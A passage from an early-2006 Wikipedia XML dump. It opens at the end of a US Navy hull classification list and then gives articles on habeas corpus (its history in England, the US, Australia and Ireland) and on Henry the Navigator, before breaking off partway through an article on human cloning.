*YTM Medium Harbor Tug
*YTT Torpedo Trials Craft
*YW Water Barge
*YWN Water Barge (non-self propelled)

*IX Unclassified Miscellaneous Unit
*X Submersible Craft

The [[USS Constitution|USS ''Constitution'']], formerly IX 21, was reclassified to none, effective [[September 1]], [[1975]].

==See also==
*[[United States Navy 1975 ship reclassification]]
*[[List of hull classifications]]
*[[Ship prefix]]

[[Category:United States Navy]]</text>
    </revision>
  </page>
  <page>
    <title>Habeas corpus</title>
    <id>14091</id>
    <revision>
      <id>41931769</id>
      <timestamp>2006-03-02T18:35:50Z</timestamp>
      <contributor>
        <username>Jredmond</username>
        <id>27307</id>
      </contributor>
      <minor />
      <comment>rvv</comment>
      <text xml:space="preserve">{{CrimPro}}
:''For alternative meanings of ''habeas corpus'', see [[habeas corpus (disambiguation)]].

In [[common law|English common law]] '''''habeas corpus''''' is the name of several [[writ]]s which may be issued by a [[judge]] ordering a [[prison|prisoner]] to be brought before the [[court]]. More commonly, the name refers to a specific writ known in full as '''''habeas corpus ad subjiciendum''''', a [[prerogative writ]] ordering that a prisoner be brought to the court so it can be determined whether or not he is being imprisoned lawfully.

The words ''habeas corpus ad subjiciendum'' are [[Latin]] for &quot;(That) you may have/hold the body to be subjected to (examination)&quot;, and are taken from the opening words of the writ in medieval times. Other ''habeas corpus'' writs also existed, for example ''habeas corpus ad testificandum'' (&quot;[That] you may have/hold the body to bear witness&quot;), for the production of a prisoner to give evidence in court.

==''Habeas corpus ad subjiciendum''==

Known as the &quot;''Great Writ''&quot;, the writ of ''habeas corpus ad subjiciendum'' is a legal proceeding in which an individual held in custody can challenge the propriety of that custody under the law.  A petitioner (the individual in custody) files a petition for a writ of habeas corpus, asserting that his custody violates the law.  The writ, if granted, is addressed to the custodian (warden, jailer) of the petitioner, directing that the custodian release the petitioner. The writ applies to almost all forms of official detention, civil or criminal, and was also employed in cases of imprisonment for private debt. In many jurisdictions today the writ can also be issued against private individuals.

The right of ''habeas corpus'' -- the right to file a petition for a writ of habeas corpus -- has long been celebrated as the most efficient safeguard of the liberty of the subject. [[Albert Venn Dicey|Dicey]] wrote that the Habeas Corpus Acts &quot;declare no principle and define no rights, but they are for practical purposes worth a hundred constitutional articles guaranteeing individual liberty&quot;. In most countries, however, the procedure of ''habeas corpus'' can be suspended in time of national emergency. In most [[civil law (legal system)|civil law]] jurisdictions, comparable provisions exist, but they are generally not called &quot;''habeas corpus''&quot;.

[[William Blackstone|Blackstone]] cites the first recorded usage of ''habeas corpus'' in [[1305]], in the reign of [[Edward I of England|King Edward I]]. However, other [[Writ#History|writs]] were issued with the same effect as early as the reign of [[Henry II of England|Henry II]] in the 12th century. [[Winston Churchill]], in his chapter on the [[English Common Law]] in 'The Birth of Britain', explains the process thus:

:Only the King had a right to summon a jury.  [[Henry II of England|Henry]] accordingly did not grant it to private courts .. But all this was only a first step.  Henry also had to provide means whereby the litigant, eager for royal justice, could remove his case out of the court of his lord into the court of the King.  The device which Henry used was the royal writ .. and any man who could by some fiction fit his own case to the wording of one of the royal writs might claim the King's justice.

The procedure for the issuing of writs of ''habeas corpus'' was first codified by the [[Habeas Corpus Act 1679]], following judicial rulings which had restricted the effectiveness of the writ. A previous act had been passed in [[1640]] to overturn a ruling that the command of the King was a sufficient answer to a petition of ''habeas corpus''.

Then, as now, the writ of ''habeas corpus'' was issued by a superior court in the name of the Monarch, and commanded the addressee (a lower court, sheriff, or private subject) to produce the prisoner before the Royal courts of law. Petitions for ''habeas corpus'' could be made by the prisoner himself or by a third party on his behalf, and as a result of the Habeas Corpus Acts could be made regardless of whether the court was in session, by presenting the petition to a judge.

Since the [[18th century]] the writ has also been used in cases of unlawful detention by private individuals, most famously in ''[[Somersett's Case]]'' ([[1771]]), where the black slave Somersett was ordered to be freed, the famous words being quoted from an earlier case: &quot;The air of [[England]] has long been too pure for a slave, and every man is free who breathes it.&quot;

Although the form of the writ of ''habeas corpus'' implies that the prisoner is brought to the court in order for the legality of the imprisonment to be examined, modern practice is to have a hearing with both parties present on whether the writ should issue, rather than issuing the writ and waiting for the return of the writ by the addressee before the legality of the detention is examined. The prisoner can then be released or bailed by order of the court without having to be produced before it.

The right of ''habeas corpus'' has been suspended or restricted several times during English history, most recently during the [[18th century|18th]] and [[19th century|19th centuries]]. Although internment without trial has been authorised by statute since that time, for example during the two World Wars and the [[Troubles]] in [[Northern Ireland]], the procedure of ''habeas corpus'' has in modern times always technically remained available to such internees. However, as ''habeas corpus'' is only a procedural device to examine the lawfulness of a prisoner's detention, so long as the detention was in accordance with an [[Act of Parliament]], the petition for ''habeas corpus'' would be unsuccessful. 

Since the passage of the [[Human Rights Act 1998]], the courts have been able to declare an Act of Parliament to be incompatible with the [[European Convention on Human Rights]]. However, such a declaration of incompatibility has no immediate legal effect until it is acted upon by the government.

===United States===

This procedure, part of English [[common law]], was considered important enough to be specifically mentioned in the [[United States Constitution]], which says, &quot;The Privilege of the Writ of ''Habeas Corpus'' shall not be suspended, unless when in Cases of Rebellion or Invasion the public Safety may require it.&quot; ([[Article One (United States Constitution)|Article One]], section nine). 

In the USA, the writ of ''habeas corpus ad subjiciendum'' is a civil (as opposed to a criminal) proceeding in which the court inquires as to the legitimacy of a prisoner's custody. Typically, ''habeas corpus'' proceedings investigate whether a criminal trial was conducted fairly and constitutionally after the criminal appellate process has been exhausted.  ''Habeas corpus'' is also used as a legal avenue to challenge other types of custody such as pretrial detention or detention by the Bureau of Immigration and Customs Enforcement pursuant to a deportation proceeding.

The &quot;constitutional&quot; writ of ''habeas corpus'', which was originally understood to apply only to those held in custody by officials of the executive branch of the federal government, and not to those held by state governments, and then only within the jurisdiction of the court, should be distinguished from what can be called &quot;statutory&quot; ''habeas corpus''.  Congress granted all federal courts jurisdiction under Title 28, Section 2241 of the [[United States Code]] to issue writs of ''habeas corpus'' to release prisoners held by any government entity (state or federal) from custody, but only when held in violation of the Constitution.  Title 28 U.S.C., section 2254, is the primary ''habeas corpus'' vehicle to challenge the constitutionality of a state court conviction.  A similar provision, 28 U.S.C., section 2255, (though technically not a ''habeas corpus'' statute) provides analogous relief to federal prisoners.

Sections 2254 and 2255 govern the grant of ''habeas corpus'' relief by the federal courts after a prisoner is convicted and his direct appeals (in either state or federal court, depending on which jurisdiction has convicted the prisoner) have been completed.  Prisoners who have been convicted in state courts also have access to ''habeas corpus'' actions under state law and can pursue such relief in addition to federal ''habeas corpus''.  

Decisions by the [[Earl Warren|Warren]] [[U.S. Supreme Court|Supreme Court]] greatly expanded the use and scope of the federal writ in the 1950s and 1960s.  Over the last thirty years, decisions by the [[Warren Burger|Burger]] and [[William Rehnquist|Rehnquist]] Courts have somewhat narrowed the writ.  The [[Anti-Terrorism and Effective Death Penalty Act]] of [[1996]] further limited the use of the federal writ by, among other things, imposing a one-year deadline (statute of limitation) and dramatically increasing the federal judiciary's deference to decisions previously made in state court proceedings either on appeal or in a state court ''habeas corpus'' action.

Here's a simple illustration of the section 2254 (which challenges a prisoner in state prison) process: Bob was convicted in state court for rape.  Bob is thrown in prison and appeals his conviction to the state appellate court and then to the state supreme court.  All uphold his conviction.  Within a year, Bob files a &quot;Petition&quot; in federal [[district court]].  The prison warden, represented by the state attorney general, will file an &quot;Answer.&quot;  Then Bob responds to the answer by filing a &quot;Traverse.&quot;  If his petition has a procedural defect, like he failed to appeal to his state's highest court, his petition will be dismissed without prejudice (Bob may refile once he finishes appealing).  If his petition, however, appears like it has merit, the Magistrate Judge typically will appoint a federal [[Public Defender]] to represent Bob and hold an evidentiary hearing to determine if the writ will be granted.  If the judge determines Bob's detention in state prison infringes on a constitutional right as recognized by the [[U.S. Supreme Court]], the judge will order Bob be released.  If not, Bob's case will be dismissed with prejudice, and it's over for him.  He may appeal to the [[Federal Court of Appeals]] for a last-ditch effort to be heard.

A more recent use of the ''habeas'' petition is with cases involving [[DNA]] evidence.  If new technology can prove Bob did not commit the rape, he may file a ''habeas'' petition and allege his detention was based on a misapplication of the facts.  At the evidentiary hearing, Bob's attorney will present exculpatory DNA evidence, and the judge will order his release.  In its most basic form, the writ of habeas corpus serves as the final chance a prisoner has to challenge his conviction, and it will only be granted based on constitutional issues.

==== Suspension during the Civil War and Reconstruction ====

''Habeas corpus'' was suspended on [[April 27]], [[1861]], during the [[American Civil War]] by [[Abraham Lincoln|President Lincoln]] in Maryland and parts of midwestern states, including southern [[Indiana]]. He did so in response to riots, local militia actions and the threat that the Southern slave state of Maryland would secede from the Union leaving the nation's capital, [[Washington, D.C.]], in the south.  He was also motivated by requests by generals to set up military courts to rein in &quot;[[Copperheads (politics)|Copperheads]]&quot; or Peace Democrats, and those in the Union who supported the [[Confederate States of America|Confederate]] cause. His action was challenged in court and overturned by the U.S. Circuit Court in [[Maryland]] (led by Supreme Court Chief Justice [[Roger B. Taney]]) in ''[[Ex parte Merryman|Ex Parte Merryman]]'', [[Case citation|17 F. Cas. 144]] (C.C.D. Md. 1861). Lincoln ignored Taney's order. In the Confederacy, [[Jefferson Davis]] also suspended the Habeas Corpus and imposed martial law. This was in part to maintain order and spur industrial growth in the South to compensate for the economic loss inflicted by its secession.

In [[1864]], [[Lambdin P. Milligan]] and four others were accused of planning to steal Union weapons and invade Union prisoner-of-war camps and were sentenced to hang by a military court. However, their execution was not set until May [[1865]], so they were able to argue the case after the Civil War. In ''[[Ex Parte Milligan]]'' [[Case citation|71 U.S. 2]] [[1866]] the Supreme Court of the United States decided that the suspension of the writ did not empower the President to try and convict citizens before military tribunals. The trial of civilians by military tribunals is allowed only if civilian courts are closed.  This was one of the key [[Supreme Court Cases of the American Civil War]] that dealt with wartime civil liberties and martial law.

In the early 1870's, President Grant suspended ''habeas corpus'' in nine counties in South Carolina, as part of federal civil rights action against the [[Ku Klux Klan]] under the 1870 Force Act and 1871 Ku Klux Klan Act.


==== Suspension during the [[War on Terrorism]] ====

[[Illegal combatants]] imprisoned at [[Guantanamo Bay|U.S. Naval Station Guantanamo Bay]], [[Cuba]] have no apparent right to [[habeas corpus]].

The [[Enemy_combatant#September_18.2C_2001_Presidential_Military_Order|September 18, 2001 Presidential Miltary Order]] gives the [[President of the United States]] the power to declare anyone suspected of  connection to terrorists or terrorism, as an [[Enemy combatant]].  As an [[Enemy combatant]] that person can be held without charges being filed against him/her. [[Enemy combatant]]s can be held indefinitely without charges or a court hearing and are not even entitled to legal consult.

Many legal and constitutional scholars would contend that these provisions are in direct opposition to [[habeas corpus]], and the [[United States Bill of Rights]].
Specifically, American citizens declared [[Enemy combatant]]s by the President may be denied their constitutional rights, as set forth in [[Fourth Amendment to the United States Constitution|Amendments 4]], [[Fifth Amendment to the United States Constitution|5]], [[Sixth Amendment to the United States Constitution|6]] and [[Eighth Amendment to the United States Constitution|8]]. One recent example is the [[Jose Padilla]] case.


===Australia===

Although the writ of ''habeas corpus'' as a procedural remedy is part of [[Australia]]'s English law inheritance, recently proposed legislation if enacted would severely restrict the efficacy of that remedy. In October 2005, the [[Australian Federal Government]] under the leadership of [[Prime Minister]] [[John Howard]], proposed the [[Federal Anti-Terrorism Bill 2005]]. Before the bills are introduced for debate in the [[Australian Parliament]], the draft has been forwarded to the [[States and territories of Australia|States and Territories]] for approval.

The proposed legislation is currently being debated in both the federal and state parliaments and some legal experts have stated that the Act is unconstitutional because it abolishes ''habeas corpus'', [[due process]], and the [[presumption of innocence]]. Some Solicitors-General also consider the Act violates the separation of powers. Under the Act, a person can be detained without charge or trial for a period of one year. Amendments made that were proposed by some Premiers and Liberal backbenchers include a  greater right of appeal of a detained person, and the case to be considered on the basis of merit, rather than points of law. 

The proposed [[Federal Anti-Terrorism Bill 2005]] is considered contrary to habeas corpus because it allows people to be imprisoned by a decision of the [[executive branch of government]] rather than the [[judiciary]], to be imprisoned indefinitely without [[charge]] or [[trial (law)|trial]], and it makes it an [[offence]] to even talk about somebody being imprisoned. One of the more controversial aspects of the legislation is the requirement that a parent, if informed of their child's detention, may not inform any further person, including the other parent. This clause also applies to detention of adults.

===Republic of Ireland===

In the [[Republic of Ireland]] the principle of ''habeas corpus'' is guaranteed by Article 40, Section 4 of the [[Constitution of Ireland|Irish constitution]]. This guarantees each individual &quot;personal liberty&quot; and outlines a detailed ''habeas corpus'' procedure, without actually mentioning the Latin term. However it also provides that ''habeas corpus'' is not binding on the [[Irish Defence Forces|Defence Forces]] during a state of war or armed rebellion.

The state inherited ''habeas corpus'' as part of the common law when it seceeded from the [[United Kingdom]] in [[1922]], but the principle was also guaranteed by Article 6 of the [[Constitution of the Irish Free State]] in force from 1922 to [[1937]]. A similar provision was included when the current constitution was adopted in 1937. Since that date ''habeas corpus'' has been restricted by two [[constitutional amendment]]s, the [[Second Amendment of the Constitution of Ireland|Second Amendment]] in [[1941]] and the [[Sixteenth Amendment of the Constitution of Ireland|Sixteenth Amendment]] in [[1996]].

Before the Second Amendment an individual detained had the constitutional right to apply to any [[High Court of the Republic of Ireland|High Court]] judge for a writ of ''habeas corpus'' and to as many High Court judges as they wished. Since the Second Amendment a prisoner only has a right to apply to one judge and, once a writ has been issued, the President of the High Court has authority to choose the judge or panel of three judges who will decide the case. The amendment also added a requirement that, where the High Court believed someone's detention to be invalid due to the unconstitutionality of a law, it must refer the matter to the [[Irish Supreme Court]] and may only release the individual on bail in the interim.

In [[1965]] the Supreme Court ruled in the ''O'Callaghan'' case that the provisions of the constitution meant that an individual charged with a crime could only be refused bail if they were likely to flee or to interfere with witnesses or evidence. Since the Sixteenth Amendment it has been possible for a court to take into account whether or not a person has committed serious crimes while on bail in the past.

==Pop Culture==
This phrase is used in lyric's of &quot;[[Harvey Birdman: Attorney at Law]]&quot;

==Other ''habeas corpus'' writs==
* '''''Habeas corpus ad deliberandum et recipiendum'''''''([That] you may have/hold the body to deliberate and retire)''
* '''''Habeas corpus ad faciendum et recipiendum''''', a.k.a. '''''habeas corpus cum causa'''''''([That] you may have/hold the body when there is a case at law)''
* '''''Habeas corpus ad prosequendum'''''''([That] you may have/hold the body to prosecute)''
* '''''Habeas corpus ad respondendum'''''''([That] you may have/hold the body to answer)''
* '''''Habeas corpus ad satisfaciendum'''''''([That] you may have/hold the body until it is sufficient [to let him/her go])''
* '''''Habeas corpus ad testificandum'''''''([That] you may have/hold the body )''

==Further reading on historical background==
* A.H. Carpenter. &quot;Habeas Corpus in the Colonies.&quot; ''[[The American Historical Review]]''.  Vol. 8., No. 1 (October 1902), pages 18-27.  
* Louis Fisher. 2003. ''Nazi Saboteurs on Trial: A Military Tribunal and American Law.''  University Press of Kansas.  ISBN 0700612386. 
* Michael Dobbs. 2004. ''Saboteurs: The Nazi Raid on America''. Vintage. ISBN 1400030420. 
* Peter Irons. 1999. ''A People's History of the Supreme Court''. Viking. ISBN 0670870064. Political context for ''Ex Parte Milligan'' explained on Pp. 186-189.  
* Helen A. Nutting. &quot;The Most Wholesome Law--The Habeas Corpus Act of 1679.&quot; ''[[The American Historical Review]]''.  Vol. 65., No. 3 (April 1960), pages 527-543.
* Geoffrey R. Stone. 2004. ''Perilous Times, Free Speech in Wartime From the Sedition Act to the War on Terrorism''. Norton. ISBN 0-393-05880-8.

== See also ==
* [[Neminem captivabimus]]
* [[Asha Bandele]] &quot;Habeas Corpus is a legal Entitlement,&quot; a poem in ''Absence in the Palms of My Hands &amp; Other Poems''. New York: [[Harlem River Press]]. 1996.

==References==
*Bazelon, Emily (Nov. 28, 2005). [http://www.slate.com/id/2131127/?nav=tap3 &quot;The Formerly Great Writ&quot;]. ''[[Slate (magazine)|Slate]]''.

==External links==
*[http://www.lectlaw.com/def/h001.htm LectLaw.com]

[[Category:Constitutional law]]
[[Category:Emergency laws]]
[[Category:Legal terms]]
[[Category:Latin legal phrases]]
[[Category:Liberalism]]
[[Category:Prerogative writs]]
[[Category:Political philosophy]]
[[Category:Philosophy of law]]
[[Category:Human rights]]

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  <page>
    <title>Henry the Navigator</title>
    <id>14092</id>
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      <timestamp>2006-03-03T09:19:51Z</timestamp>
      <contributor>
        <username>Khajja</username>
        <id>577899</id>
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      <comment>Fixed a typo.</comment>
      <text xml:space="preserve">{{BioCOTWnow}}

{{Infobox_Biography 
|subject_name=Henry, the Navigator 
|image_name= Heinrich der Seefahrer.jpg
|image_caption=[[Portuguese people|Portuguese]] ''[[infante]]'' and [[Portugal in the Age of Discovery|patron of the Portuguese exploration]]
|date_of_birth=[[March 4]], [[1394]]
|place_of_birth=[[Oporto]], [[Portugal]]
|date_of_death=[[November 13]], [[1460]]
|place_of_death=[[Sagres]], [[Algarve]], [[Portugal]]}}
{{House of Aviz}}
&lt;br&gt;
'''Henrique, Duke of Viseu''' ([[March 4]], [[1394]]&amp;ndash;[[November 13]], [[1460]]; [[Pronunciation|pron.]] [[IPA]]: /{{IPA|e&amp;#771;.'ʁi.k(ɨ)}}/), was an ''[[infante]]'' ([[prince]]) of the [[Portugal|Portuguese]] [[House of Aviz]] and an important figure in the early days of the [[Portuguese Empire]]. He is known in [[English language|English]] as '''Prince Henry the Navigator''' or '''the Seafarer''' ([[Portuguese language|Portuguese]]: ''o Navegador''). He promoted early Portugese efforts to explore an African route to Asia.

Henry the Navigator was the third son of [[John I of Portugal]], the founder of the [[House of Aviz|Aviz]] dynasty; and of [[Philippa of Lancaster]], the daughter of [[John of Gaunt]]. Henry reportedly inspired his father's [[Battle of Ceuta|successful conquest]] ([[1414]]-[[1415|15]]) of the [[Muslim]] port of [[Ceuta]], on the [[North Africa]]n coast across the [[Straits of Gibraltar]] from the [[Iberian Peninsula|Iberian]] peninsula, with profound consequences on Henry's worldview: Henry saw the fruits of the [[Sahara]]n trade routes that terminated there and became fascinated with [[Africa]] in general, with the legend of [[Prester John]], and with expanding Portuguese trade.

To this end, at his ''Vila do Infante'' (&quot;Prince's Town&quot;) at [[Sagres]], Henry gathered around him a school of [[navigator]]s and [[mapmaking|map-makers]] and became the patron of the Portuguese [[Portugal in the Age of Discovery|voyages of discovery]], which commenced soon after the capture of Ceuta. The school at Sagres achieved several advances in the art of navigation, and their discoveries provided the groundwork for Portugal's colonial expansion in the reign of King [[John II of Portugal]], Henry's great-nephew, in 1481. Thus, Henry had a considerable impact on the course of history, arguably having sparked European interest in colonial exploration—and given Portugal a significant advantage against other nations—that would so transform the world for the next four centuries.

==Early Life==
==Resources and income==

On [[May 25]], [[1420]], Henry gained appointment as the governor of the very rich [[Order of Christ]], the Portuguese successor to the [[Knights Templar (military order)|Knights Templar]], which had set up its headquarters in 1413 at Sagres, near [[Cape St Vincent]] at the extreme southwestern tip of Portugal (Braudel 1985). Henry would hold this position for the remainder of his life, and as time passed he became more and more devoted to Christianity. For the purposes of his interest in exploration, however, the appointment proved important as a source of funds through the 1440s.

Henry also had other resources. When [[John I of Portugal|John I]] died in 1433, Henry's eldest brother [[Edward of Portugal|Duarte]] became king, and granted Henry a &quot;royal fifth&quot; of all profits from trading within the areas discovered as well as the sole right to authorize expeditions beyond [[Cape Bojador]] (in present-day [[Western Sahara]]). When Duarte died five years later, Henry supported his brother [[Peter, Duke of Coimbra|Pedro]] for the regency during [[Alphonso V of Portugal]]'s minority, and in return received a confirmation of this tax.  Henry also arranged for the colonization of the [[Azores]] during Pedro's regency (1439&amp;ndash;1448).

==Vila do Infante, patron of Portuguese exploration==

At his Vila do Infante (&quot;Prince's Town&quot;) at Sagres, Henry gathered around him a school of navigators and map-makers and became the patron of the Portuguese [[Portugal in the Age of Discovery|voyages of discovery]], which commenced soon after the capture of Ceuta. Henry's court rapidly grew into the technological base for exploration, with a naval arsenal, an observatory, and a school for the study of geography and navigation added over time. [[Jehuda Cresques]], a noted [[cartographer]], received an invitation to come to Sagres and compile geographic knowledge for Henry, a position he accepted.

The nearby port of [[Lagos, Portugal|Lagos]] provided a convenient harbor, and became a center for ship-building. The development of the [[caravel]], a light and maneuverable vessel that combined square-rigging with the [[lateen sail]] of the [[Arabs]], made possible the complicated upwind return voyages of Portuguese expeditions &amp;mdash; without it, the brothers Ugolino and Guido [[Ugolino de Vivaldo|Vivaldo]] would have sailed into oblivion.

===Early results of Henry's explorers===

Until Henry's coastal explorations, [[Cape Bojador]] remained the most southerly point known to Europeans on the unpromising desert coast of Africa, although the ''[[Periplus]]'' of the Carthaginian [[Hanno the Navigator]] described a journey further south about 2,000 years earlier. 

As a first fruit of this work [[João Gonçalves Zarco]] and [[Tristão Vaz Teixeira]] rediscovered the [[Madeira Islands]] in 1420, and at Henry's instigation Portuguese settlers colonized the islands. 

In 1427, one of Henry's navigators discovered the [[Azores]] &amp;mdash; possibly [[Gonçalo Velho]]. Portuguese soon colonized these islands too, in 1430.

[[Gil Eanes]], the commander of one of Henry's expeditions, became the first European known to pass Cape Bojador in 1434. 

Henry also continued his involvement in events closer to home. He functioned as a primary organizer of the Portuguese expedition to [[Tangier]] in 1437. This proved a disastrous failure: the [[Moroccan]]s captured Henry's younger brother [[Fernando, the Saint Prince|Fernando]] and held him captive until his death eleven years later. Henry's military reputation suffered as a result, and for most of his last twenty-three years he concentrated on his exploration activities, or on Portuguese court politics.

Using the new ship type, the expeditions then pushed onwards. [[Nuno Tristão]] and [[Antão Gonçalves]] reached [[Nouadhibou|Cape Blanco]] in 1441. The Portuguese sighted the [[Bay of Arguin]] in 1443 and built an important fort there about 1448. [[Dinis Dias]] soon came across the [[Senegal River]] and rounded the peninsula of [[Cap-Vert]] (in modern-day [[Senegal]]) in 1444. By this stage the explorers had passed the southern boundary of the desert, and from then on Henry had one of his wishes fulfilled: the Portuguese had circumvented the Muslim land-based trade routes across the western [[Sahara Desert]], and slaves and gold began pouring into Portugal.  By 1452, the influx of gold sufficed for the minting of the first gold ''[[cruzado]]'' (&quot;crusade&quot;) coins. From 1444 to 1446 as many as forty vessels sailed from [[Lagos]] on Henry's behalf, and the first private [[mercantile]] expeditions began. At some time in the 1450s mariners discovered the [[Cape Verde Islands]] ([[António Noli]] claimed the credit). By 1460 the Portuguese had explored the coast of Africa as far as present-day [[Sierra Leone]].

==Prince Henry the Navigator Park==
[[Image:Prince henry new bedford 1.jpg|left|thumb|200px|Prince Henry the Navigator Park in New Bedford.]]
A park on Pope's Island in [[New Bedford, Massachusetts]] is dedicated to the explorer, and was created in [[1994]]; a gift to the city from the [[Prince Henry Society of New Bedford]] and the Portuguese government.

The park sits between New Bedford and [[Fairhaven, Massachusetts|Fairhaven]], between the fishing docks of both cities, looking out toward the hurricane barrier in the New Bedford Harbor and [[Buzzards Bay (bay)|Buzzards Bay]] beyond. The park consists of the main statue, a stone plaque and walkway, and a parking/viewing area from which tourists can view the harbor.

==Publications==  
* Major, ''Life of Prince Henry of Portugal'' (London,1868)  
* Major, ''Discoveries of Prince Henry the Navigator'' (London, 1877)  
* Beazley, ''Prince Henry the Navigator'' (London, 1895)  
* J. P. Oliveira Martins, ''The Golden Age of Prince Henry the Navigator, (New York, 1914)

==Reference==
*[[Fernand Braudel|Braudel, Fernand]], ''The Perspective of the World,'' ISBN 0060912960, 1985

==External links==
*[http://www.rixsan.com/nbvisit/attract/prhenry.htm Prince Henry the Navigator Park]

[[Category:1394 births|Henrique the Navigator]]
[[Category:1460 deaths|Henrique the Navigator]]
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  <page>
    <title>Human cloning</title>
    <id>14094</id>
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      <timestamp>2006-02-28T15:24:48Z</timestamp>
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        <ip>82.110.222.231</ip>
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      <comment>rv - this is boring</comment>
      <text xml:space="preserve">&lt;!--***********************************************************************
----This is a controversial topic, which may be disputed.-----------------*
----Please read this article's TALK PAGE discussion before making---------*
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--&gt;
'''Human cloning''' is the creation of a [[genetics|genetically]] identical copy of an existing, or previously existing [[human]] or growing [[cloning|clone]]d [[biological tissue|tissue]] from that individual. The term is generally used to refer to ''artificial'' human cloning; human clones in the form of [[identical twin]]s are commonplace, with their cloning occurring during the natural process of reproduction.  

==Understanding cloning==
Although genes are recognized as influencing [[behavior]] and [[cognition]], &quot;genetically identical&quot; does ''not'' mean altogether identical; almost no one would deny that identical [[twin]]s, despite being natural human clones with identical [[DNA]], are separate people, with separate experiences and not altogether overlapping personalities. However undramatic it may sound, the relationship between an &quot;original&quot; and a clone is rather like that between identical twins raised apart; they share all the same [[DNA]], but little of the same environment. 
Ultimately, the question of how similar an original and a clone would be boils down to how much of personality is determined by genetics, an area still under active scientific investigation. (See [[nature versus nurture]] and [[cloning]].)

==Techniques==	 
Currently the most successful cloning technique is the same process which allowed [[Dolly the sheep]] to be cloned - [[somatic cell nuclear transfer]]. It is also the technique used by ACT, the first company to successfully clone a human embryo (see research section below). An [[egg cell]] taken from a donor has its [[cell nucleus|nucleus]] removed. Another cell with the genetic material to be cloned is fused with the original cell.	 
			
Another way of cloning is by [[parthenogenesis]], where an unfertilized egg cell is induced to divide and grow as if it were fertilized. This technique only works on females.	 

In '''[[reproductive cloning]]''', the cloned embryo is implanted in a woman's uterus. This should develop into a normal baby, its only distinction being that it would be almost genetically identical to the DNA donor. Scientific knowledge of normal and abnormal development could also be found.	 

'''[[Therapeutic cloning]]''' could be used to provide replacement organs or tissue for people who have had theirs damaged. The cloned embryo would contain DNA taken from the transplant patient. After nuclear transfer, the cell would divide to form an embryo and [[stem cell]]s would be removed. Stem cells could develop into any tissue or organ. These cloned organs would be compatible with the person's immune system, so no [[immunosuppressant]] drugs would have to be taken after the operation. However, no therapies have been developed yet from this procedure.	 

The third type of cloning is called Recombinant DNA technology. This is when parts of or a whole DNA molecule is created with the purpose of eliminating genetic faults in a human.

==Limits of cloning==
First, none of these techniques provide ''exact'' clones -- they would be 99.7% identical to the DNA donor, because some important genes are present outside the nucleus, in [[mitochondrion|mitochondria]] for example. Some of the DNA of the DNA donor would be missing for the clone to be an ''exact'' copy, and some of the resulting clone DNA would come from the donor egg-cell. How much change this would lead to in the clone is being investigated. Consider that the chimpanzee genome is more than 98% identical to the human genome, only a 2% difference. A 0.3% difference could potentially lead to much more divergence from the DNA donor's genotype than one may at first believe. It could also spell problems for therapeutic cloning, where compatibility is essential because of the risk of rejection.

Second, difficulties with cloning organisms from their [[somatic]] (non [[germline]]) cells tend to lead to (what seems to be) premature aging in [[higher animals]]. If a new brain is generated in that body, there is no reason to believe that consciousness, apart from the ethics of the move, can ever be moved from one brain into a new brain even if it is genetically identical. Identical twins often show uncanny parallels in life choices, but rarely do they exhibit any characteristics that would cause one to believe that genetic similarities in brains lead to any kind of compatibility of consciousness. If a brain is moved from an old body to a new one, even a clone, it would continue to lose size and capacity to regenerate cells, and continue to be subject to such degenerative disorders as [[Alzheimer's disease]]. Given all this, '[[immortality]]' seems a difficult goal to achieve, and even extended lifespan may be at a low quality of life.  

Given these limits, the main reason for interest in the speculations is that they may be driving funding for research, and providing active lobbying for legal or political protections for the cloning industry. Concerns regarding the [[Raelian movement]] tend to focus on these issues.

All such issues are likely to be solved with better manipulation of DNA (better coppies, able to fix changes which occur with each cell division and accumulate over time - these changes in the parent cause premature aeging in the clone), and better undestanding of how DNA changes with each cell division.

==The current status of cloned-embryo research==
In 1998, [[South Korean]] scientists claimed to have created the first cloned human embryo, but the results were never published and many doubt that they had done so.
 
In the [[November 25]], [[2001]], issue of the ''Journal of Regenerative Medicine'', a US company [[Advanced Cell Technology]] claimed that it had successfully created a clone of a human, in the form of an embryo. ACT vice president Dr. Robert Lanza said that the company's intention was to use this in therapeutic cloning, in order to harvest embryonic [[stem cell]]s from a patient. 
 
Some scientists objected that the ACT cloning had not actually been successful because the cloned embryos had only divided a few times, meaning it was possible that the transplanted genetic material had not actually been used. Further criticisms were of the company's inability to collect much useful information from the experiment, and of their inability to harvest stem cells. The company stressed that it was against reproductive cloning and they hoped to develop purely therapeutic processes.

Few cloning scientists admit that there may be another daunting limitation to cloning humans.  There are several diseases in humans that hint that a new embryo probably needs DNA that has been exposed to the cytoplasm of an egg cell and '''also''' the cytoplasm of a sperm cell in order to develop properly.  Prader-Willi syndrome and Angelman syndrome in humans are caused when both chromosome 15's are inherited by only one of the parents (a rare occurrence called uniparental disomy). Prader Willi syndrome results from a double copy of a specific region of the mother's chromosome 15 (or a paternal deletion in the same chromosome 15 region) and Angelman's syndrome is the result of a double copy of the same region on the fathers's chromosome 15 (or a maternal deletion).   If such debilitating diseases are caused by imprinting of a single chromosome pair, perhaps having all chromosomes only being exposed to egg cell cytoplasm will prevent viable embryos from growing using modern cloning techniques.

==Hwang Woo-Suk==
In [[2004]], a group of scientists led by [[Hwang Woo-Suk]] of [[Seoul National University]] in [[Korea]] claimed to have grown 30 cloned human embryos to the one-week stage, and then successfully harvested stem cells from them. The results of their experiment were published in the peer-reviewed journal [[Science (journal)|Science]].

On [[May 30]],[[2005]], Hwang's team announced the creation of 11 [[stem cell line|lines]] of human stem cells, using a different technique (Hwang et al. 2005).

Later in [[2005]], a pattern of lies and fraud by [[Hwang Woo-Suk]] came to light, throwing in doubt all his claims.

Finally in [[2006]], the claims were determined to be fraudulent.[http://www.cnn.com/2006/WORLD/asiapcf/01/09/skorea.stemcell.ap/index.html?section=cnn_topstories]

==Risks of growing a cloned embryo to term==
Reproductive cloning has supporters such as the scientists [[Panayiotis Zavos]], [[Brigitte Boisselier]], and [[Severino Antinori]]. Antinori had claimed that a cloned baby would be possible before 2003. However, the majority of scientists, including [[Ian Wilmut]], who led the team that cloned [[Dolly the sheep]] at the [[Roslin Institute]], claim that there are many further complications to reproductive human cloning in its current form. Aside from the ethical questions involved, the scientists claim that it is simply too risky. In a debate for the [[American National Academy of Sciences]] Wilmut quoted the low survival rate of cloned animals as evidence that human cloning would be dangerous. The main fears are that children will be born with genetic disorders, which might develop or worsen over the years.

Zavos thinks that by [[screening]] [[embryo]]s before and after implantation this risk would be reduced significantly. Don Wolf, a researcher at [[Oregon Regional Primate Research Centre]], disagrees. He suggests that screeners would not even know what to look for.

